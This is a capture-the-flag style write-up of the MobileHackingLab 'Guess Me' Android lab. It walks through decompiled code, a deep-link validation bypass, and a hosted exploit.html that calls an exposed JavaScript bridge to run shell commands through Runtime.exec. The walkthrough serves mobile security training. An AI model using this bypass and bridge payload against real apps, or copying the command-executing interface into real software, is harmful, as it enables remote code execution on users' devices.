The Guess Me lab is designed to explore a vulnerability in the loading of pages within a WebView in an Android application, which can lead to Remote Code Execution (RCE). Let’s delve into discovering how we can achieve command execution.
Introduction
Upon opening the application, we encounter a text input to enter a number from 1 to 100 and see if we guess correctly. As there doesn’t seem to be anything else of interest, let’s examine the source code to understand what’s happening behind the scenes.
Static Analysis
Our investigation begins with a thorough examination of the AndroidManifest.xml
file, where we discover an exported activity named WebviewActivity
. However, before delving into the specifics of this activity, let’s first inspect the MainActivity
to understand the application’s primary functionality.
<!-- AndroidManifest.xml -->
...
<activity android:name="com.mobilehackinglab.guessme.WebviewActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="mhl" android:host="mobilehackinglab"/>
</intent-filter>
</activity>
...
Looking at the MainActivity
source code, we observe standard functionality for handling user interactions and game logic. However, our focus shifts to the WebviewActivity
, which utilizes a WebView to render web content.
//MainActivity
package com.mobilehackinglab.guessme;
import android.content.Intent;
....
/* loaded from: classes3.dex */
public final class MainActivity extends AppCompatActivity {
private ImageButton aboutusbtn;
private int attempts;
private Button exitButton;
private Button guessButton;
private EditText guessEditText;
private final int maxAttempts = 10;
private Button newGameButton;
private TextView resultTextView;
private int secretNumber;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C0892R.layout.activity_main);
View findViewById = findViewById(C0892R.C0895id.resultTextView);
Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)");
this.resultTextView = (TextView) findViewById;
View findViewById2 = findViewById(C0892R.C0895id.guessEditText);
Intrinsics.checkNotNullExpressionValue(findViewById2, "findViewById(...)");
this.guessEditText = (EditText) findViewById2;
View findViewById3 = findViewById(C0892R.C0895id.guessButton);
Intrinsics.checkNotNullExpressionValue(findViewById3, "findViewById(...)");
this.guessButton = (Button) findViewById3;
View findViewById4 = findViewById(C0892R.C0895id.newGameButton);
Intrinsics.checkNotNullExpressionValue(findViewById4, "findViewById(...)");
this.newGameButton = (Button) findViewById4;
View findViewById5 = findViewById(C0892R.C0895id.exitButton);
Intrinsics.checkNotNullExpressionValue(findViewById5, "findViewById(...)");
this.exitButton = (Button) findViewById5;
View findViewById6 = findViewById(C0892R.C0895id.aboutus);
Intrinsics.checkNotNullExpressionValue(findViewById6, "findViewById(...)");
this.aboutusbtn = (ImageButton) findViewById6;
ImageButton imageButton = this.aboutusbtn;
Button button = null;
if (imageButton == null) {
Intrinsics.throwUninitializedPropertyAccessException("aboutusbtn");
imageButton = null;
}
imageButton.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.onCreate$lambda$0(MainActivity.this, view);
}
});
startNewGame();
Button button2 = this.guessButton;
if (button2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessButton");
button2 = null;
}
button2.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda1
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.onCreate$lambda$1(MainActivity.this, view);
}
});
Button button3 = this.newGameButton;
if (button3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("newGameButton");
button3 = null;
}
button3.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda2
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.onCreate$lambda$2(MainActivity.this, view);
}
});
Button button4 = this.exitButton;
if (button4 == null) {
Intrinsics.throwUninitializedPropertyAccessException("exitButton");
} else {
button = button4;
}
button.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda3
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.onCreate$lambda$3(MainActivity.this, view);
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$0(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
Intent intent = new Intent(this$0, WebviewActivity.class);
this$0.startActivity(intent);
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$1(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
this$0.validateGuess();
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$2(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
this$0.startNewGame();
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onCreate$lambda$3(MainActivity this$0, View it) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
this$0.finish();
}
private final void startNewGame() {
this.secretNumber = Random.Default.nextInt(1, TypedValues.TYPE_TARGET);
this.attempts = 0;
TextView textView = this.resultTextView;
EditText editText = null;
if (textView == null) {
Intrinsics.throwUninitializedPropertyAccessException("resultTextView");
textView = null;
}
textView.setText("Guess a number between 1 and 100");
EditText editText2 = this.guessEditText;
if (editText2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessEditText");
} else {
editText = editText2;
}
editText.getText().clear();
enableInput();
}
private final void validateGuess() {
EditText editText = this.guessEditText;
if (editText == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessEditText");
editText = null;
}
Integer userGuess = StringsKt.toIntOrNull(editText.getText().toString());
if (userGuess != null) {
this.attempts++;
if (userGuess.intValue() < this.secretNumber) {
displayMessage("Too low! Try again.");
} else if (userGuess.intValue() > this.secretNumber) {
displayMessage("Too high! Try again.");
} else {
displayMessage("Congratulations! You guessed the correct number " + this.secretNumber + " in " + this.attempts + " attempts.");
disableInput();
}
if (this.attempts == this.maxAttempts) {
displayMessage("Sorry, you've run out of attempts. The correct number was " + this.secretNumber + '.');
disableInput();
return;
}
return;
}
displayMessage("Please enter a valid number.");
}
private final void displayMessage(String message) {
TextView textView = this.resultTextView;
EditText editText = null;
if (textView == null) {
Intrinsics.throwUninitializedPropertyAccessException("resultTextView");
textView = null;
}
textView.setText(message);
EditText editText2 = this.guessEditText;
if (editText2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessEditText");
} else {
editText = editText2;
}
editText.getText().clear();
}
private final void disableInput() {
EditText editText = this.guessEditText;
Button button = null;
if (editText == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessEditText");
editText = null;
}
editText.setEnabled(false);
Button button2 = this.guessButton;
if (button2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessButton");
} else {
button = button2;
}
button.setEnabled(false);
}
private final void enableInput() {
EditText editText = this.guessEditText;
Button button = null;
if (editText == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessEditText");
editText = null;
}
editText.setEnabled(true);
Button button2 = this.guessButton;
if (button2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("guessButton");
} else {
button = button2;
}
button.setEnabled(true);
}
}
The WebviewActivity
piques our interest. This activity utilizes a WebView to render web content. Upon opening the activity, the handleDeepLink
function is invoked, which verifies if the activity is launched via an intent. If deemed valid, the loadDeepLink
function is called, after being validated by the isValidDeepLink
function. Otherwise, a default index.html
is loaded.
The isValidDeepLink
function checks the URI, ensuring it adheres to specific criteria, including the presence of the scheme mhl://
or https://
, a host part with the value mobilehackinglab
, and a query parameter url
. Thus, a valid URI might be mhl://mobilehackinglab?url=bernasv.com
//WebViewActivity
package com.mobilehackinglab.guessme;
...
import kotlin.text.StringsKt;
/* loaded from: classes3.dex */
public final class WebviewActivity extends AppCompatActivity {
private WebView webView;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C0892R.layout.activity_web);
View findViewById = findViewById(C0892R.C0895id.webView);
Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)");
this.webView = (WebView) findViewById;
WebView webView = this.webView;
WebView webView2 = null;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
WebSettings webSettings = webView.getSettings();
Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
webSettings.setJavaScriptEnabled(true);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView3 = null;
}
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
WebView webView4 = this.webView;
if (webView4 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView4 = null;
}
webView4.setWebViewClient(new WebViewClient());
WebView webView5 = this.webView;
if (webView5 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
} else {
webView2 = webView5;
}
webView2.setWebChromeClient(new WebChromeClient());
loadAssetIndex();
handleDeepLink(getIntent());
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
public void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleDeepLink(intent);
}
private final void handleDeepLink(Intent intent) {
Uri uri = intent != null ? intent.getData() : null;
if (uri != null) {
if (isValidDeepLink(uri)) {
loadDeepLink(uri);
} else {
loadAssetIndex();
}
}
}
private final boolean isValidDeepLink(Uri uri) {
if ((Intrinsics.areEqual(uri.getScheme(), "mhl") || Intrinsics.areEqual(uri.getScheme(), "https")) && Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
return false;
}
private final void loadDeepLink(Uri uri) {
String fullUrl = String.valueOf(uri.getQueryParameter("url"));
WebView webView = this.webView;
WebView webView2 = null;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(fullUrl);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
} else {
webView2 = webView3;
}
webView2.reload();
}
private final void loadAssetIndex() {
WebView webView = this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl("file:///android_asset/index.html");
}
/* compiled from: WebviewActivity.kt */
@Metadata(m30d1 = {"\u0000\u001c\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\u0002\b\u0086\u0004\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u0010\u0010\u0003\u001a\u00020\u00042\u0006\u0010\u0005\u001a\u00020\u0004H\u0007J\u0010\u0010\u0006\u001a\u00020\u00072\u0006\u0010\b\u001a\u00020\u0004H\u0007¨\u0006\t"}, m29d2 = {"Lcom/mobilehackinglab/guessme/WebviewActivity$MyJavaScriptInterface;", "", "(Lcom/mobilehackinglab/guessme/WebviewActivity;)V", "getTime", "", "Time", "loadWebsite", "", "url", "app_debug"}, m28k = 1, m27mv = {1, 9, 0}, m25xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
/* loaded from: classes3.dex */
public final class MyJavaScriptInterface {
public MyJavaScriptInterface() {
}
@JavascriptInterface
public final void loadWebsite(String url) {
Intrinsics.checkNotNullParameter(url, "url");
WebView webView = WebviewActivity.this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(url);
}
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
}
}
Let’s try to open the app with this deep link:
adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=bernasv.com?test=mobilehackinglab.com"
However, we get redirected to the index.html
instead of your website. Upon revisiting the code, we found that the query parameter part needs to end with mobilehackinglab.com
. This can be bypassed easily by appending something like oursite.com?data=mobilehackinglab.com
.
So lets try to open the app again with this:
adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=bernasv.com?test=mobilehackinglab.com"
Now that we’ve successfully opened our site, what actions can we take next? Upon inspecting the WebView interface, we discover the presence of a MyJavaScriptInterface
containing functions loadWebsite
and getTime
. Upon closer examination of the getTime
function, we realize that we have control over the command to be executed. Armed with this knowledge, we can serve a malicious HTML file and prompt the application to load it via a deep link, thereby granting us remote code execution.
/WebViewActivity -> MyJavaScriptInterface
public final class MyJavaScriptInterface {
public MyJavaScriptInterface() {
}
@JavascriptInterface
public final void loadWebsite(String url) {
Intrinsics.checkNotNullParameter(url, "url");
WebView webView = WebviewActivity.this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(url);
}
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
}
Exploiting the Application
First, let’s create and host an exploit.html
file that communicates with MyJavaScriptInterface
using the exposed method getTime()
with the parameter being the command to run using the AndroidBridge
defined in the WebviewActivity
.
<!-- exploit.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Exploit guess app</h1>
<p id="result"></p>
<script>
//Change to your command
var result = AndroidBridge.getTime("uname -a");
var lines = result.split('\n');
var command = lines[0];
var fullMessage = "Command: " + command;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
Now, all we need to do is serve this HTML file using Python.
python -m http.server 80
And start our app to get the URL of your web server to achieve remote code execution.
adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=http://192.168.0.109/exploit.html?test=mobilehackinglab.com"
Upon the page loading, we successfully achieve remote code execution on the victim’s phone.
Conclusion
This lab serves as a valuable lesson in understanding the security implications of loading URLs within a WebView in Android applications. By exploiting vulnerabilities such as insecure JavaScript interfaces, attackers can achieve Remote Code Execution and compromise the integrity of the application. For a hands-on experience with these concepts, visit the lab at MobileHackingLab - Guess Me. Embark on a journey of discovery and bolster your expertise in mobile security.